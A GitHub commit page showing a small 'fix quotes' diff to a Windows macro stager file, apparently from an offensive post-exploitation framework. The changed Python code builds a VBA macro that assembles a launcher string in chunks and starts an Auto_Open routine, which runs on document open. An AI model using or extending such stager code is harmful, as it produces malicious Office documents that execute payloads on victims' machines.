Skip to content

Commit

Permalink
fix quotes
Browse files Browse the repository at this point in the history
  • Loading branch information
ThePirateWhoSmellsOfSunflowers authored Sep 5, 2017
1 parent 2b2096d commit ef7660f
Showing 1 changed file with 2 additions and 2 deletions.
4 changes: 2 additions & 2 deletions lib/stagers/windows/macro.py
Original file line number Diff line number Diff line change
Expand Up @@ -106,9 +106,9 @@ def generate(self):
else:
chunks = list(helpers.chunks(launcher.replace("'", "\\'"), 50))
payload = "\tDim "+Str+" As String\n"
payload += "\t"+Str+" = '" + str(chunks[0]) + "'\n"
payload += "\t"+Str+" = \"" + str(chunks[0]) + "\"\n"
for chunk in chunks[1:]:
payload += "\t"+Str+" = "+Str+" + '" + str(chunk) + "'\n"
payload += "\t"+Str+" = "+Str+" + \"" + str(chunk) + "\"\n"

macro = "Sub Auto_Open()\n"
macro += "\t"+Method+"\n"
Expand Down

0 comments on commit ef7660f

Please sign in to comment.